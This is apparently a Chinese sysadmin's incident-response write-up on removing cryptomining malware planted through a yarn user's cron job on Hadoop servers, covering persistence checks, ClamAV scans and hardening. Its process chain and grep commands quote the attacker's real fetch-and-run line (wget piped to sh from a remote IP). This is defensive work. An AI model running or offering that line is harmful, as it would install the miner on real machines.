服务器被植入恶意挖矿代码
解决流程:排查阿里云安全告警信息,定位到可以下载行为。删除定时任务和挖矿代码,杀掉所有的恶意进程,装杀毒软件定时查杀。关闭所有公网端口只保留需要通过公网连接的。 由于所有的恶意进程都是 yarn 用户执行的,把虚拟缓存和 mr 的缓冲区文件删了,然后重启 yarn。
排查
下面记录异常处理步骤:
阿里云安全告警处理,发现可疑下载行为,下载了 shell 脚本,添加定时任务下载恶意挖矿代码修改权限并执行。安全告警检测到挖矿程序。
进程链
-[898] /usr/sbin/cron -f -P
-[7580] /usr/sbin/cron -f -P
-[7581] /bin/sh -c wget -O - http://185.196.9.190/srv/dcd.sh | sh
由于借助阿里直接看到了具体的可疑行为,直接使用 grep 排查
grep -r "wget -O - http://185.196.9.190/srv/dcd.sh" /etc/cron* /usr/sbin /usr/bin /var/spool/cron/crontabs /etc/init.d /etc/systemd/system
grep -r "wget" /etc/cron* /usr/sbin /usr/bin /var/spool/cron/crontabs /etc/init.d /etc/systemd/system在用户 yarn 的 crontab 文件中发现了恶意任务 查看列表
crontab -u yarn -l
编辑并删除恶意 cron
sudo crontab -u yarn -e
查看当前的 yarn 用户的进程
root@ddp2 :~# ps -u yarn
PID TTY TIME CMD
32400 ? 07:30:16 tmp
35006 ? 00:00:39 java
35807 ? 00:00:51 java
其中 tmp 相关的都是恶意挖矿代码
# 终止所有 'tmp' 进程
sudo killall tmp
# 确保所有 'tmp' 进程已被终止
ps -u yarn | grep tmp
# 终止所有 'java' 进程(可选)
sudo killall java
# 确保所有 'java' 进程已被终止
ps -u yarn | grep java
# 删除 /tmp 目录下的所有文件和目录
sudo rm -rf /tmp/*
恶意文件在 /tmp 和 /var/tmp 下
后续关闭所有的公网开放端口,只保留需要通过公网连接的。
手动处理
挖矿程序处理最佳实践_云安全中心(Security Center)-阿里云帮助中心
排查定时任务
如果不能直接定位可疑行为,检查 crontab 文件:
遍历查看用户级别,所有用户的个人 crontab(crontab -l 只由当前用户):
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done
检查系统级的 cron 目录作业:
ls -la /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly
查看正在运行的进程:
ps aux | grep -i "mine\|monero\|crypto"
检查可疑的网络连接:
netstat -tulpn | grep ESTABLISHED
netstat -antp
排查占用主机大量CPU的进程
top -c
ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more
排查开机自启动项
/etc/systemd/system/
# 排查系统所有自启动服务
systemctl list-unit-files | grep enabled
# 上面的结果太多,过滤掉一部分,只排查已启用的非标准系统服务:
systemctl list-unit-files --type=service --state=enabled | grep -vE '^(systemd|dbus|ssh|cron|network|snapd|ufw)' | grep -v '@'
排查可疑服务的单元文件详细信息,或通过 ftp 直接查看
ls -al /etc/systemd/system/*.service
ls -al /usr/lib/systemd/system/*.service
# 查看服务详细信息(服务启动的进程文件)
cat /etc/systemd/system/<service_unit_name>.service
找到后,禁用服务,删除对应单元文件
systemctl disable <service name>
rm /etc/systemd/system/<service_unit_name>.service
rm /usr/lib/systemd/system/<service_unit_name>.service
排查以下服务路径是否有自启动服务
/etc/rc.local
/etc/inittab
/etc/rc.d/
/etc/init.d/
排查可疑的 SSH 公钥
通过 Redis 未授权访问漏洞或其他各种方式。攻击者通常会将自己的 ssh 公钥写 ~/.ssh/authorized_keys 文件中,排查 ~/.ssh/authorized_keys 文件,包括不限于 /root/.ssh 路径的 authotrized_keys 文件。
清除 .so 劫持
通过 **/etc/ld.so.preload** 文件设定预加载的 .so 文件,可以劫持常见的系统命令,例如 top/ps/netstat 等,达到隐藏挖矿进程的目的。
# 排查预加载的`.so`文件
cat /etc/ld.so.preload
# 删除预加载劫持
echo > /etc/ld.so.preload
清除恶意账号
通过日志查看近期是否有创建账号行为
cat /var/log/audit/audit.log | grep useradd
# 或者
cat /var/log/secure | grep 'new user'
通过 /etc/passwd 文件查看是否有可疑账号
cut -d: -f1 /etc/passwd
通过账户的home目录查看可疑账户的创建或最近活跃时间,需特别关注近期创建的home目录。
stat /home/guest/
防修改对抗
部分挖矿木马在写入计划任务、自启动等持久化文件后,会为对应文件设置一个不可更改的属性,防止对应持久化任务被删除。
rm:cannotremove"/etc/cron.hourly/logrotate':Operationnotpermitted
如上,遇到此类情况可以执行以下命令,恢复文件属性后再删除对应任务。
chattr -i /etc/passwd
chattr -i /etc/crontab
杀毒
杀毒病毒查杀linux杀毒软件 安装 ClamAV 杀毒软件
sudo apt-get update
sudo apt-get install clamav clamav-daemon
更新病毒数据库
sudo systemctl stop clamav-freshclam
sudo freshclam
sudo systemctl start clamav-freshclam
- –infected:仅报告受感染的文件,不删除
- –remove:删除受感染的文件。这是默认行为,因此除非要覆盖默认行为,否则无需使用此开关。
- –recursive:扫描目录及其所有子目录。
若要扫描当前目录中的受感染文件并将其报告到标准输出,请使用以下命令:
clamscan --infected .
若要扫描当前目录中的受感染文件并将其删除,请使用以下命令:
clamscan --remove .
要扫描当前目录及其所有子目录中的受感染文件并将其报告到标准输出,请使用以下命令:
clamscan --recursive --infected .
要扫描当前目录及其所有子目录以查找受感染的文件并将其删除,请使用以下命令:
clamscan --recursive --remove .
扫描删除所有目录,输出日志
clamscan --recursive --remove --log=/root/clamscan.log /
**`--infected`**:告诉 ClamAV 只报告受感染的文件。如果您只想知道哪些文件受到感染,并且不想删除它们,这将非常有用。
**`--remove`**: 开关告诉 ClamAV 删除受感染的文件。这是默认行为,因此除非您想要覆盖默认行为,否则无需使用此开关。
**`-r` 或 `--recursive`**: 开关告诉 ClamAV 扫描目录及其所有子目录。这对于扫描大型目录或可能包含受感染文件的目录非常有用。
使用示例: How to install and use ClamAV on Ubuntu - Tutorial & Documentation
# 扫描整个系统:
sudo clamscan -r /
# 为了减少动态生成文件的警告,可以忽略一些系统目录:
sudo clamscan -r --exclude-dir="^/sys" --exclude-dir="^/proc" --exclude-dir="^/dev" /
# 扫描整个系统,但忽略 `/sys`、`/proc` 和 `/dev` 目录,并且只输出感染文件的路径。
sudo clamscan -r --exclude-dir="^/sys" --exclude-dir="^/proc" --exclude-dir="^/dev" --infected --log=/root/clamscan.log /
sudo clamscan --recursive --infected --exclude-dir="^/sys" --exclude-dir="^/proc" --exclude-dir="^/dev" --log=/root/clamscan.log /
# 排除指定目录,全盘扫描、记录并删除感染文件:
sudo clamscan --recursive --remove --exclude-dir="^/sys" --exclude-dir="^/proc" --exclude-dir="^/dev" --log=/root/clamscan.log /
grep "FOUND" /root/clamscan.log
结果
----------- SCAN SUMMARY -----------
Known viruses: 8695329 #病毒库中包含的病毒种类数
Engine version: 0.103.11 #引擎版本
Scanned directories: 16542 #扫描目录数
Scanned files: 134228 #扫描文件数
Infected files: 1 #被感染文件数
Data scanned: 13627.44 MB #总的扫描字节数
Data read: 26269.39 MB (ratio 0. 52:1) #数据读取
Time: 5573.722 sec (92 m 53 s) #花费的总时间
Start Date: 20 24:07:02 17:48:32
End Date: 20 24:07:02 19:21:25
扫到感染文件
清理 ddp1
root@ddp1 :~# sudo clamscan -r --exclude-dir="^/sys" --exclude-dir="^/proc" --exclude-dir="^/dev" --infected --log=/root/clamscan.log /
/var/tmp/sshd: Multios.Coinminer.Miner-6781728-2 FOUND
LibClamAV Warning: cli_scanxz: decompress file size exceeds limits - only scanning 27262976 bytes
LibClamAV Warning: cli_scanxz: decompress file size exceeds limits - only scanning 27262976 bytes
----------- SCAN SUMMARY -----------
Known viruses: 8695329
Engine version: 0.103.11
Scanned directories: 26568
Scanned files: 177598
Infected files: 1
Data scanned: 22585.41 MB
Data read: 55817.30 MB (ratio 0. 40:1)
Time: 9414.784 sec (156 m 54 s)
Start Date: 20 24:07:02 19:32:49
End Date: 20 24:07:02 22:09:44
ddp2
root@ddp2 :~# sudo clamscan -r --exclude-dir="^/sys" --exclude-dir="^/proc" --exclude-dir="^/dev" --infected --log=/root/clamscan.log /
/var/tmp/.sys/hxx: Unix.Malware.Agent-6639729-0 FOUND
LibClamAV Warning: cli_scanxz: decompress file size exceeds limits - only scanning 27262976 bytes
LibClamAV Warning: cli_scanxz: decompress file size exceeds limits - only scanning 27262976 bytes
----------- SCAN SUMMARY -----------
Known viruses: 8695329
Engine version: 0.103.11
Scanned directories: 16543
Scanned files: 134226
Infected files: 1
Data scanned: 13358.60 MB
Data read: 26277.05 MB (ratio 0. 51:1)
Time: 5219.981 sec (86 m 59 s)
Start Date: 20 24:07:02 19:32:25
End Date: 20 24:07:02 20:59:25
/var/tmp/.sys 中的 hxx 是感染文件已经删除,pas 是密码本,其他是扫描记录
root@ddp2 :/var/tmp/.sys# ll
total 116
drwxr-xr-x 2 yarn hadoop 4096 Jul 3 09:34 ./
drwxrwxrwt 9 root root 4096 Jul 3 07:39 ../
-rwxr-xr-x 1 yarn hadoop 473 Jun 22 19:53 filter.lst*
-rw------- 1 yarn hadoop 698 Jun 23 02:06 found.errors
-rwxr-xr-x 1 yarn hadoop 899800 Jun 22 21:20 hxx*
-rwxr-xr-x 1 yarn hadoop 99728 Jun 22 21:20 pas*
-rw-r--r-- 1 yarn hadoop 0 Jun 22 21:20 scan.log
-rw-r--r-- 1 yarn hadoop 0 Jun 22 21:20 .x.sys.10
-rw-r--r-- 1 yarn hadoop 0 Jun 22 13:25 .x.sys.7
-rw-r--r-- 1 yarn hadoop 0 Jun 22 13:26 .x.sys.8
-rw-r--r-- 1 yarn hadoop 0 Jun 22 19:53 .x.sys.9
总结
如果是阿里这些云服务厂商,可以去云安全中心的安全告警,查看可疑的行为和进程链,很多挖矿特征是 cpu 长时间打满,一般挖矿行为可以快速定位到。
- htop 等监控排查 cpu 异常占用的进程,可以选择 kill 掉。
- 排查定时任务:如果挖矿进程 kill 掉又死灰复燃可以查所有用户的 crontab,我就遇到过设置在 yarn 用户下定时下载挖矿程序的 cron 任务
for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done - 排查开机自启动项。
- 排查可疑的 SSH 公钥信息。
- 排查 redis 是否有未授权访问漏洞。包括可疑的 SSH 公钥、webshell、反弹 shell 未授权访问漏洞测试
- 在
/tmp和/var/tmp下排查有没有可疑代码,如果有必要可以清掉。 - clamscan 扫描病毒,例如排除指定目录,全盘扫描、记录并删除感染文件:
sudo clamscan --recursive --remove --exclude-dir="^/sys" --exclude-dir="^/proc" --exclude-dir="^/dev" --log=/root/clamscan.log /ClamAV 用法:How to install and use ClamAV on Ubuntu - Tutorial & Documentation (webhi.com)
另外,其他方面 ssh 登录爆破:安装 fail2ban 防止撞库(小心别把自己 IP 屏蔽了),限制 root 远程登录、22端口改成高位端口、改用密钥登录。限制特定 ip 访问。 恶意请求(包括不限远程代码执行漏洞、扫描敏感文件):水平高的自己整,或者装防火墙做屏蔽。nginx waf、雷池等 定时查杀病毒。。。